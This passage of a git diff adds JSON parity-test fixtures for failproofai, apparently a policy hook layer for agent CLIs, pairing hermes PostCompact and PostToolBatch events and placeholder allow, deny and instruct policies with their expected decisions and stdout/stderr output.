b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..5a4cd503 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..581078cd --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d767a10c --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..dcbbb971 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..8c7fb107 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0ea6738d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fe86d85d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..cacf4413 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b0272ff2 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..09c28a22 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..4cf4f3a4 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f63d35c8 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c2202709 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..fcb1e868 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c3ede60d --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4c1313db --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c3e56318 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e657a537 --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "hermes", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"decision\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6b350aac --- /dev/null +++ b/__tests__/parity/fixtures/hermes/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "hermes", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 